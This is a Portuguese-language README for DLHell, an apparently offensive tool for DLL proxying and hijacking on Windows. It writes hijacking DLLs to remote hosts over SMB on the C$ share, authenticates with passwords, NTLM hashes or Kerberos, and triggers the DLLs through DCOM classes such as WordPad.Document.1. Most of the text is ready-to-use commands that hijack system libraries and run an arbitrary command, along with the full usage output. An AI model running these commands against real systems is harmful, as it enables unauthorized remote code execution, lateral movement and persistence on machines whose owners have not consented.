DLHell

O DLHell realiza proxy de DLLs do Windows, local e remoto, via DCOM.

Instalação

Os seguintes pacotes são necessários (podem depender da sua distribuição; o exemplo abaixo é para Debian 12):

sudo apt install -y g++-mingw-w64-x86-64-win32 binutils-mingw-w64-x86-64

Instale as dependências do pip:

pip3 install -r requirements.txt

Início rápido

O comando a seguir sequestra a biblioteca netutils.dll no host 10.137.0.48 a partir do arquivo de modelo template.tpe (biblioteca de sequestro em código-fonte C++) que executa calc.exe. Tanto a DLL original quanto a DLL de proxy serão colocadas na pasta program files/windows nt/accessories/ do compartilhamento C$ no alvo remoto.

Use a sintaxe do Impacket para a opção -remote-target.

DLHell.py -t template.tpe -c 'calc.exe' -remote-lib 'windows/system32/netutils.dll' -remote-target 'program files/windows nt/accessories/test.dll' -target 'domain/user:password@ip'

A autenticação Kerberos também pode ser usada:

DLHell.py -t template.tpe -c 'calc.exe' -k -target wks-02.vault-tech.com -progid WordPad.Document.1

Liste os CLSIDs e ProgIDs disponíveis:

DLHell.py -list

Uso

 ____  _     _   _      _ _
|  _ \| |   | | | | ___| | |
| | | | |   | |_| |/ _ \ | |
| |_| | |___|  _  |  __/ | |
|____/|_____|_| |_|\___|_|_|

DLHell v1.0

usage: DLHell.py [-h] [-local-lib LOCAL_LIB] [-remote-lib REMOTE_LIB] [-local-target LOCAL_TARGET]
                 [-remote-target REMOTE_TARGET] [-target TARGET] [-clsid CLSID] [-progid PROGID] -t T -c C
                 [-u U] [-l] [-hashes LMHASH:NTHASH] [-no-pass] [-k] [-aesKey hex key] [-dc-ip ip address]
                 [-target-ip ip address] [-port [destination port]]

DLL Hell - DLL Proxifier/Hijacker

options:
  -h, --help            show this help message and exit
  -local-lib LOCAL_LIB  Path of the remote library on the local system, ex: version.dll
  -remote-lib REMOTE_LIB
                        Path of the library on the remote system, ex: windows/system32/version.dll. WARNING:
                        Will connect using SMB on C$ share. Admin rights needed. Requires -target
  -local-target LOCAL_TARGET
                        The new name of the local output proxyfied library
  -remote-target REMOTE_TARGET
                        The new name of the remote proxyfied library. WARNING: Will connect using SMB on C$
                        share. Admin rights needed. Requires -target
  -target TARGET        [[domain/]username[:password]@]<targetName or address>
  -clsid CLSID          CLSID of DCOM class to activate
  -progid PROGID        ProgID of DCOM class to activate
  -t T, -template T     Template file to use for lib generation
  -c C, -command C      Command to execute using hijacked lib
  -u U, -user U         Name of the user to hijack (used to put DLLs in localappdata folder)
  -l, -list             Lists vulnerable CLSID & ProgID for DCOM Hijacking

authentication:
  -hashes LMHASH:NTHASH
                        NTLM hashes, format is LMHASH:NTHASH
  -no-pass              don't ask for password (useful for -k)
  -k                    Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on
                        target parameters. If valid credentials cannot be found, it will use the ones
                        specified in the command line
  -aesKey hex key       AES key to use for Kerberos Authentication (128 or 256 bits)

connection:
  -dc-ip ip address     IP Address of the domain controller. If omitted it will use the domain part (FQDN)
                        specified in the target parameter
  -target-ip ip address
                        IP Address of the target machine. If omitted it will use whatever was specified as
                        target. This is useful when target is the NetBIOS name and you cannot resolve it
  -port [destination port]
                        Destination port to connect to SMB Server

Proxy de DLL local

Para criação de DLL local, use as opções -local-lib (nome da DLL de proxy) e -local-target (DLL original renomeada):

DLHell.py -t template.tpe -c 'calc.exe' -local-lib 'lib/netutils.dll' -local-target 'test.dll'

Proxy remoto de DLL (privilégios de administrador necessários):

Para sequestro remoto de DLL, especifique as opções -target, -remote-lib (nome da DLL original no host remoto) e -local-target (DLL original renomeada):

DLHell.py -t template.tpe -c 'calc.exe' -target 'domain/user:password@ip' -remote-lib 'windows/system32/PROPSYS.dll' -remote-target 'windows/test.dll'

Proxy de DLL via DCOM (privilégios de administrador necessários)

O proxy de DLL via DCOM pode ser explorado usando as opções -progid e -clsid. A lista de CLSIDs e ProgIDs disponíveis pode ser obtida com o seguinte comando:

DLHell.py -list

Você pode adicionar novos sequestros ao arquivo dcom.json, que define caminhos para bibliotecas vulneráveis:

Então, apenas o ProgID ou CLSID é necessário para:

• Obter a DLL original
• Criar e compilar a biblioteca de sequestro
• Enviar as bibliotecas para o host remoto
• Ativar a classe DCOM remota

Exemplo para o ProgID WordPad.Document.1:

DLHell.py -t template.tpe -c 'calc.exe' -target 'domain/user:password@ip' -progid WordPad.Document.1

Exemplo para o CLSID 73FDDC80-AEA9-101A-98A7-00AA00374959:

DLHell.py -t template.tpe -c 'calc.exe' -target 'domain/user:password@ip' -clsid 73FDDC80-AEA9-101A-98A7-00AA00374959